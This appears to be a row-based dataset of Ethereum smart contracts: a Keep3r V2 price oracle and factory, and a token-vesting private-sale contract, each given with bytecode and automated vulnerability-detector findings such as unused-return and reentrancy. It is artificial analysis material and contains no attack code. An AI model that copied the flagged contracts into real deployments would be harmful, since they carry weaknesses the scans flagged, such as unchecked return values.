70000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61377c816132cb565b811461378757600080fd5b50565b613793816132dd565b811461379e57600080fd5b50565b6137aa81613309565b81146137b557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122023b0588e05b7a543fb7ea5f531c2e0d4c8534c269f3a005fe122bc6e318fc71f64736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 5,787 |
0x4e56cc4c76524211008827690e8bcb07fe5ca1c5
|
/**
*Submitted for verification at Etherscan.io on 2021-03-30
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.2;
interface IUniswapV2Pair {
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function token0() external view returns (address);
function token1() external view returns (address);
}
interface IKeep3rV1 {
function keepers(address keeper) external returns (bool);
function KPRH() external view returns (IKeep3rV1Helper);
function receipt(address credit, address keeper, uint amount) external;
}
interface IKeep3rV1Helper {
function getQuoteLimit(uint gasUsed) external view returns (uint);
}
// sliding oracle that uses observations collected to provide moving price averages in the past
contract Keep3rV2Oracle {
constructor(address _pair) {
_factory = msg.sender;
pair = _pair;
(,,uint32 timestamp) = IUniswapV2Pair(_pair).getReserves();
uint112 _price0CumulativeLast = uint112(IUniswapV2Pair(_pair).price0CumulativeLast() * e10 / Q112);
uint112 _price1CumulativeLast = uint112(IUniswapV2Pair(_pair).price1CumulativeLast() * e10 / Q112);
observations[length++] = Observation(timestamp, _price0CumulativeLast, _price1CumulativeLast);
}
struct Observation {
uint32 timestamp;
uint112 price0Cumulative;
uint112 price1Cumulative;
}
modifier factory() {
require(msg.sender == _factory, "!F");
_;
}
Observation[65535] public observations;
uint16 public length;
address immutable _factory;
address immutable public pair;
// this is redundant with granularity and windowSize, but stored for gas savings & informational purposes.
uint constant periodSize = 1800;
uint Q112 = 2**112;
uint e10 = 10**18;
// Pre-cache slots for cheaper oracle writes
function cache(uint size) external {
uint _length = length+size;
for (uint i = length; i < _length; i++) observations[i].timestamp = 1;
}
// update the current feed for free
function update() external factory returns (bool) {
return _update();
}
function updateable() external view returns (bool) {
Observation memory _point = observations[length-1];
(,, uint timestamp) = IUniswapV2Pair(pair).getReserves();
uint timeElapsed = timestamp - _point.timestamp;
return timeElapsed > periodSize;
}
function _update() internal returns (bool) {
Observation memory _point = observations[length-1];
(,, uint32 timestamp) = IUniswapV2Pair(pair).getReserves();
uint32 timeElapsed = timestamp - _point.timestamp;
if (timeElapsed > periodSize) {
uint112 _price0CumulativeLast = uint112(IUniswapV2Pair(pair).price0CumulativeLast() * e10 / Q112);
uint112 _price1CumulativeLast = uint112(IUniswapV2Pair(pair).price1CumulativeLast() * e10 / Q112);
observations[length++] = Observation(timestamp, _price0CumulativeLast, _price1CumulativeLast);
return true;
}
return false;
}
function _computeAmountOut(uint start, uint end, uint elapsed, uint amountIn) internal view returns (uint amountOut) {
amountOut = amountIn * (end - start) / e10 / elapsed;
}
function current(address tokenIn, uint amountIn, address tokenOut) external view returns (uint amountOut, uint lastUpdatedAgo) {
(address token0,) = tokenIn < tokenOut ? (tokenIn, tokenOut) : (tokenOut, tokenIn);
Observation memory _observation = observations[length-1];
uint price0Cumulative = IUniswapV2Pair(pair).price0CumulativeLast() * e10 / Q112;
uint price1Cumulative = IUniswapV2Pair(pair).price1CumulativeLast() * e10 / Q112;
(,,uint timestamp) = IUniswapV2Pair(pair).getReserves();
// Handle edge cases where we have no updates, will revert on first reading set
if (timestamp == _observation.timestamp) {
_observation = observations[length-2];
}
uint timeElapsed = timestamp - _observation.timestamp;
timeElapsed = timeElapsed == 0 ? 1 : timeElapsed;
if (token0 == tokenIn) {
amountOut = _computeAmountOut(_observation.price0Cumulative, price0Cumulative, timeElapsed, amountIn);
} else {
amountOut = _computeAmountOut(_observation.price1Cumulative, price1Cumulative, timeElapsed, amountIn);
}
lastUpdatedAgo = timeElapsed;
}
function quote(address tokenIn, uint amountIn, address tokenOut, uint points) external view returns (uint amountOut, uint lastUpdatedAgo) {
(address token0,) = tokenIn < tokenOut ? (tokenIn, tokenOut) : (tokenOut, tokenIn);
uint priceAverageCumulative = 0;
uint _length = length-1;
uint i = _length - points;
Observation memory currentObservation;
Observation memory nextObservation;
uint nextIndex = 0;
if (token0 == tokenIn) {
for (; i < _length; i++) {
nextIndex = i+1;
currentObservation = observations[i];
nextObservation = observations[nextIndex];
priceAverageCumulative += _computeAmountOut(
currentObservation.price0Cumulative,
nextObservation.price0Cumulative,
nextObservation.timestamp - currentObservation.timestamp, amountIn);
}
} else {
for (; i < _length; i++) {
nextIndex = i+1;
currentObservation = observations[i];
nextObservation = observations[nextIndex];
priceAverageCumulative += _computeAmountOut(
currentObservation.price1Cumulative,
nextObservation.price1Cumulative,
nextObservation.timestamp - currentObservation.timestamp, amountIn);
}
}
amountOut = priceAverageCumulative / points;
(,,uint timestamp) = IUniswapV2Pair(pair).getReserves();
lastUpdatedAgo = timestamp - nextObservation.timestamp;
}
function sample(address tokenIn, uint amountIn, address tokenOut, uint points, uint window) external view returns (uint[] memory prices, uint lastUpdatedAgo) {
(address token0,) = tokenIn < tokenOut ? (tokenIn, tokenOut) : (tokenOut, tokenIn);
prices = new uint[](points);
if (token0 == tokenIn) {
{
uint _length = length-1;
uint i = _length - (points * window);
uint _index = 0;
Observation memory nextObservation;
for (; i < _length; i+=window) {
Observation memory currentObservation;
currentObservation = observations[i];
nextObservation = observations[i + window];
prices[_index] = _computeAmountOut(
currentObservation.price0Cumulative,
nextObservation.price0Cumulative,
nextObservation.timestamp - currentObservation.timestamp, amountIn);
_index = _index + 1;
}
(,,uint timestamp) = IUniswapV2Pair(pair).getReserves();
lastUpdatedAgo = timestamp - nextObservation.timestamp;
}
} else {
{
uint _length = length-1;
uint i = _length - (points * window);
uint _index = 0;
Observation memory nextObservation;
for (; i < _length; i+=window) {
Observation memory currentObservation;
currentObservation = observations[i];
nextObservation = observations[i + window];
prices[_index] = _computeAmountOut(
currentObservation.price1Cumulative,
nextObservation.price1Cumulative,
nextObservation.timestamp - currentObservation.timestamp, amountIn);
_index = _index + 1;
}
(,,uint timestamp) = IUniswapV2Pair(pair).getReserves();
lastUpdatedAgo = timestamp - nextObservation.timestamp;
}
}
}
}
contract Keep3rV2OracleFactory {
function pairForSushi(address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint160(uint256(keccak256(abi.encodePacked(
hex'ff',
0xc35DADB65012eC5796536bD9864eD8773aBc74C4,
keccak256(abi.encodePacked(token0, token1)),
hex'e18a34eb0e04b04f7a0ac29a6e80748dca96319b42c54d679cb821dca90c6303' // init code hash
)))));
}
function pairForUni(address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint160(uint256(keccak256(abi.encodePacked(
hex'ff',
0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
)))));
}
modifier keeper() {
require(KP3R.keepers(msg.sender), "!K");
_;
}
modifier upkeep() {
uint _gasUsed = gasleft();
require(KP3R.keepers(msg.sender), "!K");
_;
uint _received = KP3R.KPRH().getQuoteLimit(_gasUsed - gasleft());
KP3R.receipt(address(KP3R), msg.sender, _received);
}
address public governance;
address public pendingGovernance;
/**
* @notice Allows governance to change governance (for future upgradability)
* @param _governance new governance address to set
*/
function setGovernance(address _governance) external {
require(msg.sender == governance, "!G");
pendingGovernance = _governance;
}
/**
* @notice Allows pendingGovernance to accept their role as governance (protection pattern)
*/
function acceptGovernance() external {
require(msg.sender == pendingGovernance, "!pG");
governance = pendingGovernance;
}
IKeep3rV1 public constant KP3R = IKeep3rV1(0x1cEB5cB57C4D4E2b2433641b95Dd330A33185A44);
address[] internal _pairs;
mapping(address => Keep3rV2Oracle) public feeds;
function pairs() external view returns (address[] memory) {
return _pairs;
}
constructor() {
governance = msg.sender;
}
function update(address pair) external keeper returns (bool) {
return feeds[pair].update();
}
function byteCode(address pair) external pure returns (bytes memory bytecode) {
bytecode = abi.encodePacked(type(Keep3rV2Oracle).creationCode, abi.encode(pair));
}
function deploy(address pair) external returns (address feed) {
require(msg.sender == governance, "!G");
require(address(feeds[pair]) == address(0), 'PE');
bytes memory bytecode = abi.encodePacked(type(Keep3rV2Oracle).creationCode, abi.encode(pair));
bytes32 salt = keccak256(abi.encodePacked(pair));
assembly {
feed := create2(0, add(bytecode, 0x20), mload(bytecode), salt)
if iszero(extcodesize(feed)) {
revert(0, 0)
}
}
feeds[pair] = Keep3rV2Oracle(feed);
_pairs.push(pair);
}
function work() external upkeep {
require(workable(), "!W");
for (uint i = 0; i < _pairs.length; i++) {
feeds[_pairs[i]].update();
}
}
function work(address pair) external upkeep {
require(feeds[pair].update(), "!W");
}
function workForFree() external keeper {
for (uint i = 0; i < _pairs.length; i++) {
feeds[_pairs[i]].update();
}
}
function workForFree(address pair) external keeper {
feeds[pair].update();
}
function cache(uint size) external {
for (uint i = 0; i < _pairs.length; i++) {
feeds[_pairs[i]].cache(size);
}
}
function cache(address pair, uint size) external {
feeds[pair].cache(size);
}
function workable() public view returns (bool canWork) {
canWork = true;
for (uint i = 0; i < _pairs.length; i++) {
if (!feeds[_pairs[i]].updateable()) {
canWork = false;
}
}
}
function workable(address pair) public view returns (bool) {
return feeds[pair].updateable();
}
function sample(address tokenIn, uint amountIn, address tokenOut, uint points, uint window, bool sushiswap) external view returns (uint[] memory prices, uint lastUpdatedAgo) {
address _pair = sushiswap ? pairForSushi(tokenIn, tokenOut) : pairForUni(tokenIn, tokenOut);
return feeds[_pair].sample(tokenIn, amountIn, tokenOut, points, window);
}
function sample(address pair, address tokenIn, uint amountIn, address tokenOut, uint points, uint window) external view returns (uint[] memory prices, uint lastUpdatedAgo) {
return feeds[pair].sample(tokenIn, amountIn, tokenOut, points, window);
}
function quote(address tokenIn, uint amountIn, address tokenOut, uint points, bool sushiswap) external view returns (uint amountOut, uint lastUpdatedAgo) {
address _pair = sushiswap ? pairForSushi(tokenIn, tokenOut) : pairForUni(tokenIn, tokenOut);
return feeds[_pair].quote(tokenIn, amountIn, tokenOut, points);
}
function quote(address pair, address tokenIn, uint amountIn, address tokenOut, uint points) external view returns (uint amountOut, uint lastUpdatedAgo) {
return feeds[pair].quote(tokenIn, amountIn, tokenOut, points);
}
function current(address tokenIn, uint amountIn, address tokenOut, bool sushiswap) external view returns (uint amountOut, uint lastUpdatedAgo) {
address _pair = sushiswap ? pairForSushi(tokenIn, tokenOut) : pairForUni(tokenIn, tokenOut);
return feeds[_pair].current(tokenIn, amountIn, tokenOut);
}
function current(address pair, address tokenIn, uint amountIn, address tokenOut) external view returns (uint amountOut, uint lastUpdatedAgo) {
return feeds[pair].current(tokenIn, amountIn, tokenOut);
}
}
|
0x608060405234801561001057600080fd5b50600436106100935760003560e01c8063983586d911610066578063983586d914610136578063a2e620451461014e578063a75d39c214610156578063a8aa1b311461017e578063ae6ec9b7146101bd57610093565b80630a7933981461009857806317bf72c6146100c25780631f7b6d32146100d7578063252c09d7146100f7575b600080fd5b6100ab6100a636600461158b565b6101d0565b6040516100b9929190611656565b60405180910390f35b6100d56100d0366004611626565b610737565b005b61ffff80546100e4911681565b60405161ffff90911681526020016100b9565b61010a610105366004611626565b6107b1565b6040805163ffffffff90941684526001600160701b0392831660208501529116908201526060016100b9565b61013e6107ea565b60405190151581526020016100b9565b61013e610924565b61016961016436600461150d565b610994565b604080519283526020830191909152016100b9565b6101a57f000000000000000000000000397ff1542f962076d0bfe58ea045ffa2d347aca081565b6040516001600160a01b0390911681526020016100b9565b6101696101cb366004611548565b610d5d565b6060600080856001600160a01b0316886001600160a01b0316106101f55785886101f8565b87865b5090508467ffffffffffffffff81111561022257634e487b7160e01b600052604160045260246000fd5b60405190808252806020026020018201604052801561024b578160200160208202803683370190505b509250876001600160a01b0316816001600160a01b031614156104d45761ffff805460009161027d91600191166116f5565b61ffff169050600061028f86886116d6565b6102999083611718565b60408051606081018252600080825260208201819052918101829052919250905b8383101561041b5760408051606081018252600080825260208201819052918101829052908461ffff81106102ff57634e487b7160e01b600052603260045260246000fd5b60408051606081018252929091015463ffffffff811683526001600160701b03600160201b820481166020850152600160901b9091041690820152905060006103488a8661169e565b61ffff811061036757634e487b7160e01b600052603260045260246000fd5b60408051606081018252929091015463ffffffff81168084526001600160701b03600160201b830481166020808701829052600160901b9094048216948601949094529185015185519496506103d094921692916103c49161172f565b63ffffffff168f611100565b8884815181106103f057634e487b7160e01b600052603260045260246000fd5b602090810291909101015261040683600161169e565b92506104149050888461169e565b92506102ba565b60007f000000000000000000000000397ff1542f962076d0bfe58ea045ffa2d347aca06001600160a01b0316630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b15801561047657600080fd5b505afa15801561048a573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104ae91906115d8565b845163ffffffff91821694506104c8935016905082611718565b9650505050505061072c565b61ffff80546000916104e991600191166116f5565b61ffff16905060006104fb86886116d6565b6105059083611718565b60408051606081018252600080825260208201819052918101829052919250905b838310156106775760408051606081018252600080825260208201819052918101829052908461ffff811061056b57634e487b7160e01b600052603260045260246000fd5b60408051606081018252929091015463ffffffff811683526001600160701b03600160201b820481166020850152600160901b9091041690820152905060006105b48a8661169e565b61ffff81106105d357634e487b7160e01b600052603260045260246000fd5b60408051606081018252929091015463ffffffff81168084526001600160701b03600160201b830481166020860152600160901b909204821684840181905292850151855194965061062c94921692916103c49161172f565b88848151811061064c57634e487b7160e01b600052603260045260246000fd5b602090810291909101015261066283600161169e565b92506106709050888461169e565b9250610526565b60007f000000000000000000000000397ff1542f962076d0bfe58ea045ffa2d347aca06001600160a01b0316630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b1580156106d257600080fd5b505afa1580156106e6573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061070a91906115d8565b845163ffffffff9182169450610724935016905082611718565b965050505050505b509550959350505050565b61ffff805460009161074b9184911661169e565b61ffff8054919250165b818110156107ac57600160008261ffff811061078157634e487b7160e01b600052603260045260246000fd5b01805463ffffffff191663ffffffff92909216919091179055806107a48161176e565b915050610755565b505050565b60008161ffff81106107c257600080fd5b015463ffffffff811691506001600160701b03600160201b8204811691600160901b90041683565b61ffff80546000918291829161080391600191166116f5565b61ffff1661ffff811061082657634e487b7160e01b600052603260045260246000fd5b6040805160608082018352939092015463ffffffff811683526001600160701b03600160201b820481166020850152600160901b90910416828201528051630240bc6b60e21b815290519193506000926001600160a01b037f000000000000000000000000397ff1542f962076d0bfe58ea045ffa2d347aca01692630902f1ac926004818101939291829003018186803b1580156108c357600080fd5b505afa1580156108d7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108fb91906115d8565b845163ffffffff91821694506000935061091792501683611718565b6107081093505050505b90565b6000336001600160a01b037f000000000000000000000000ab26f32ee1e5844d0f99d23328103325e163070016146109875760405162461bcd60e51b815260206004820152600260248201526110a360f11b604482015260640160405180910390fd5b61098f61113b565b905090565b6000806000836001600160a01b0316866001600160a01b0316106109b95783866109bc565b85845b5061ffff805491925060009182916109d791600191166116f5565b61ffff1661ffff81106109fa57634e487b7160e01b600052603260045260246000fd5b60408051606081018252929091015463ffffffff811683526001600160701b03600160201b82048116602080860191909152600160901b9092041683830152620100005462010001548351635909c0d560e01b81529351949550600094919390926001600160a01b037f000000000000000000000000397ff1542f962076d0bfe58ea045ffa2d347aca01692635909c0d5926004818101939291829003018186803b158015610aa857600080fd5b505afa158015610abc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ae0919061163e565b610aea91906116d6565b610af491906116b6565b90506000620100005462010001547f000000000000000000000000397ff1542f962076d0bfe58ea045ffa2d347aca06001600160a01b0316635a3d54936040518163ffffffff1660e01b815260040160206040518083038186803b158015610b5b57600080fd5b505afa158015610b6f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b93919061163e565b610b9d91906116d6565b610ba791906116b6565b905060007f000000000000000000000000397ff1542f962076d0bfe58ea045ffa2d347aca06001600160a01b0316630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b158015610c0457600080fd5b505afa158015610c18573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c3c91906115d8565b63ffffffff1692505050836000015163ffffffff16811415610cce5761ffff8054600091610c6d91600291166116f5565b61ffff1661ffff8110610c9057634e487b7160e01b600052603260045260246000fd5b60408051606081018252929091015463ffffffff811683526001600160701b03600160201b820481166020850152600160901b909104169082015293505b8351600090610ce39063ffffffff1683611718565b90508015610cf15780610cf4565b60015b90508a6001600160a01b0316866001600160a01b03161415610d3057610d2985602001516001600160701b031685838d611100565b9750610d4c565b610d4985604001516001600160701b031684838d611100565b97505b809650505050505050935093915050565b6000806000846001600160a01b0316876001600160a01b031610610d82578487610d85565b86855b5061ffff80549192506000918291610da091600191166116f5565b61ffff1690506000610db28783611718565b9050610dd7604080516060810182526000808252602082018190529181019190915290565b604080516060810182526000808252602082018190529181019190915260008c6001600160a01b0316876001600160a01b03161415610f27575b84841015610f2257610e2484600161169e565b905060008461ffff8110610e4857634e487b7160e01b600052603260045260246000fd5b60408051606081018252929091015463ffffffff811683526001600160701b03600160201b820481166020850152600160901b9091041690820152925060008161ffff8110610ea757634e487b7160e01b600052603260045260246000fd5b60408051606081018252929091015463ffffffff81168084526001600160701b03600160201b830481166020808701829052600160901b909404821694860194909452918701518751949650610f0494921692916103c49161172f565b610f0e908761169e565b955083610f1a8161176e565b945050610e11565b611034565b8484101561103457610f3a84600161169e565b905060008461ffff8110610f5e57634e487b7160e01b600052603260045260246000fd5b60408051606081018252929091015463ffffffff811683526001600160701b03600160201b820481166020850152600160901b9091041690820152925060008161ffff8110610fbd57634e487b7160e01b600052603260045260246000fd5b60408051606081018252929091015463ffffffff81168084526001600160701b03600160201b830481166020860152600160901b909204821684840181905292870151875194965061101694921692916103c49161172f565b611020908761169e565b95508361102c8161176e565b945050610f27565b61103e8a876116b6565b985060007f000000000000000000000000397ff1542f962076d0bfe58ea045ffa2d347aca06001600160a01b0316630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b15801561109b57600080fd5b505afa1580156110af573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110d391906115d8565b855163ffffffff91821694506110ed935016905082611718565b9850505050505050505094509492505050565b600082620100015486866111149190611718565b61111e90856116d6565b61112891906116b6565b61113291906116b6565b95945050505050565b61ffff80546000918291829161115491600191166116f5565b61ffff1661ffff811061117757634e487b7160e01b600052603260045260246000fd5b6040805160608082018352939092015463ffffffff811683526001600160701b03600160201b820481166020850152600160901b90910416828201528051630240bc6b60e21b815290519193506000926001600160a01b037f000000000000000000000000397ff1542f962076d0bfe58ea045ffa2d347aca01692630902f1ac926004818101939291829003018186803b15801561121457600080fd5b505afa158015611228573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061124c91906115d8565b84519093506000925061126091508361172f565b90506107088163ffffffff1611156114d0576000620100005462010001547f000000000000000000000000397ff1542f962076d0bfe58ea045ffa2d347aca06001600160a01b0316635909c0d56040518163ffffffff1660e01b815260040160206040518083038186803b1580156112d757600080fd5b505afa1580156112eb573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061130f919061163e565b61131991906116d6565b61132391906116b6565b90506000620100005462010001547f000000000000000000000000397ff1542f962076d0bfe58ea045ffa2d347aca06001600160a01b0316635a3d54936040518163ffffffff1660e01b815260040160206040518083038186803b15801561138a57600080fd5b505afa15801561139e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113c2919061163e565b6113cc91906116d6565b6113d691906116b6565b6040805160608101825263ffffffff871681526001600160701b03808616602083015283169181019190915261ffff80549293509091600091908116908261141d8361174c565b91906101000a81548161ffff021916908361ffff16021790555061ffff1661ffff811061145a57634e487b7160e01b600052603260045260246000fd5b825191018054602084015160409094015163ffffffff90931671ffffffffffffffffffffffffffffffffffff1990911617600160201b6001600160701b03948516021771ffffffffffffffffffffffffffffffffffff16600160901b939092169290920217905550600194506109219350505050565b6000935050505090565b80356001600160a01b03811681146114f157600080fd5b919050565b80516001600160701b03811681146114f157600080fd5b600080600060608486031215611521578283fd5b61152a846114da565b92506020840135915061153f604085016114da565b90509250925092565b6000806000806080858703121561155d578081fd5b611566856114da565b93506020850135925061157b604086016114da565b9396929550929360600135925050565b600080600080600060a086880312156115a2578081fd5b6115ab866114da565b9450602086013593506115c0604087016114da565b94979396509394606081013594506080013592915050565b6000806000606084860312156115ec578283fd5b6115f5846114f6565b9250611603602085016114f6565b9150604084015163ffffffff8116811461161b578182fd5b809150509250925092565b600060208284031215611637578081fd5b5035919050565b60006020828403121561164f578081fd5b5051919050565b604080825283519082018190526000906020906060840190828701845b8281101561168f57815184529284019290840190600101611673565b50505092019290925292915050565b600082198211156116b1576116b1611789565b500190565b6000826116d157634e487b7160e01b81526012600452602481fd5b500490565b60008160001904831182151516156116f0576116f0611789565b500290565b600061ffff8381169083168181101561171057611710611789565b039392505050565b60008282101561172a5761172a611789565b500390565b600063ffffffff8381169083168181101561171057611710611789565b600061ffff8083168181141561176457611764611789565b6001019392505050565b600060001982141561178257611782611789565b5060010190565b634e487b7160e01b600052601160045260246000fdfea264697066735822122039056c965452b2592e43896c73f4a11950bbadad965fe56f52e0fbe7eaad098264736f6c63430008030033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
| 5,788 |
0x1967c1b0e597df7a688d4f21288462e318b3a02d
|
pragma solidity ^0.4.24;
/**
* @title ERC20 interface
*
*/
contract ERC20 {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title OwnableWithAdmin
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract OwnableWithAdmin {
address public owner;
address public adminOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
adminOwner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Throws if called by any account other than the admin.
*/
modifier onlyAdmin() {
require(msg.sender == adminOwner);
_;
}
/**
* @dev Throws if called by any account other than the owner or admin.
*/
modifier onlyOwnerOrAdmin() {
require(msg.sender == adminOwner || msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
/**
* @dev Allows the current adminOwner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferAdminOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(adminOwner, newOwner);
adminOwner = newOwner;
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function uint2str(uint i) internal pure returns (string){
if (i == 0) return "0";
uint j = i;
uint length;
while (j != 0){
length++;
j /= 10;
}
bytes memory bstr = new bytes(length);
uint k = length - 1;
while (i != 0){
bstr[k--] = byte(48 + i % 10);
i /= 10;
}
return string(bstr);
}
}
/**
* @title LockedPrivatesale
* @notice Contract is not payable.
* Owner or admin can allocate tokens.
* Tokens will be released in 3 steps / dates.
*
*
*/
contract LockedPrivatesale is OwnableWithAdmin {
using SafeMath for uint256;
uint256 private constant DECIMALFACTOR = 10**uint256(18);
event FundsBooked(address backer, uint256 amount, bool isContribution);
event LogTokenClaimed(address indexed _recipient, uint256 _amountClaimed, uint256 _totalAllocated, uint256 _grandTotalClaimed);
event LogNewAllocation(address indexed _recipient, uint256 _totalAllocated);
event LogRemoveAllocation(address indexed _recipient, uint256 _tokenAmountRemoved);
event LogOwnerAllocation(address indexed _recipient, uint256 _totalAllocated);
// Amount of tokens claimed
uint256 public grandTotalClaimed = 0;
// The token being sold
ERC20 public token;
// Amount of tokens Raised
uint256 public tokensTotal = 0;
// Max token amount
uint256 public hardCap = 0;
//Tokens will be released in 3 steps/dates
uint256 public step1;
uint256 public step2;
uint256 public step3;
// Buyers total allocation
mapping (address => uint256) public allocationsTotal;
// User total Claimed
mapping (address => uint256) public totalClaimed;
// List of allocation step 1
mapping (address => uint256) public allocations1;
// List of allocation step 2
mapping (address => uint256) public allocations2;
// List of allocation step 3
mapping (address => uint256) public allocations3;
//Buyers
mapping(address => bool) public buyers;
//Buyers who received all there tokens
mapping(address => bool) public buyersReceived;
//List of all addresses
address[] public addresses;
constructor(uint256 _step1, uint256 _step2, uint256 _step3, ERC20 _token) public {
require(_token != address(0));
require(_step1 >= now);
require(_step2 >= _step1);
require(_step3 >= _step2);
step1 = _step1;
step2 = _step2;
step3 = _step3;
token = _token;
}
/**
* @dev fallback function ***DO NOT OVERRIDE***
*/
function () public {
//Not payable
}
/**
* @dev Set allocation buy admin
* @param _recipient Users wallet
* @param _tokenAmount Amount Allocated tokens + 18 decimals
*/
function setAllocation (address _recipient, uint256 _tokenAmount) onlyOwnerOrAdmin public{
require(_tokenAmount > 0);
require(_recipient != address(0));
//Check hardCap
require(_validateHardCap(_tokenAmount));
//Allocate tokens
_setAllocation(_recipient, _tokenAmount);
//Increese token amount
tokensTotal = tokensTotal.add(_tokenAmount);
//Logg Allocation
emit LogOwnerAllocation(_recipient, _tokenAmount);
}
/**
* @dev Remove allocation
* @param _recipient Users wallet
*
*/
function removeAllocation (address _recipient) onlyOwner public{
require(_recipient != address(0));
require(totalClaimed[_recipient] == 0); //Check if user claimed tokens
//_recipient total amount
uint256 _tokenAmountRemoved = allocationsTotal[_recipient];
//Decreese token amount
tokensTotal = tokensTotal.sub(_tokenAmountRemoved);
//Reset allocations
allocations1[_recipient] = 0;
allocations2[_recipient] = 0;
allocations3[_recipient] = 0;
allocationsTotal[_recipient] = 0; // Remove
//Set buyer to false
buyers[_recipient] = false;
emit LogRemoveAllocation(_recipient, _tokenAmountRemoved);
}
/**
* @dev Set internal allocation
* _buyer The adress of the buyer
* _tokenAmount Amount Allocated tokens + 18 decimals
*/
function _setAllocation (address _buyer, uint256 _tokenAmount) internal{
if(!buyers[_buyer]){
//Add buyer to buyers list
buyers[_buyer] = true;
//Add _buyer to addresses list
addresses.push(_buyer);
//Reset buyer allocation
allocationsTotal[_buyer] = 0;
}
//Add tokens to buyers allocation
allocationsTotal[_buyer] = allocationsTotal[_buyer].add(_tokenAmount);
//Spilt amount in 3
uint256 splitAmount = allocationsTotal[_buyer].div(3);
uint256 diff = allocationsTotal[_buyer].sub(splitAmount+splitAmount+splitAmount);
//Sale steps
allocations1[_buyer] = splitAmount; // step 1
allocations2[_buyer] = splitAmount; // step 2
allocations3[_buyer] = splitAmount.add(diff); // step 3 + diff
//Logg Allocation
emit LogNewAllocation(_buyer, _tokenAmount);
}
/**
* @dev Return address available allocation
* @param _recipient which address is applicable
*/
function checkAvailableTokens (address _recipient) public view returns (uint256) {
//Check if user have bought tokens
require(buyers[_recipient]);
uint256 _availableTokens = 0;
if(now >= step1){
_availableTokens = _availableTokens.add(allocations1[_recipient]);
}
if(now >= step2){
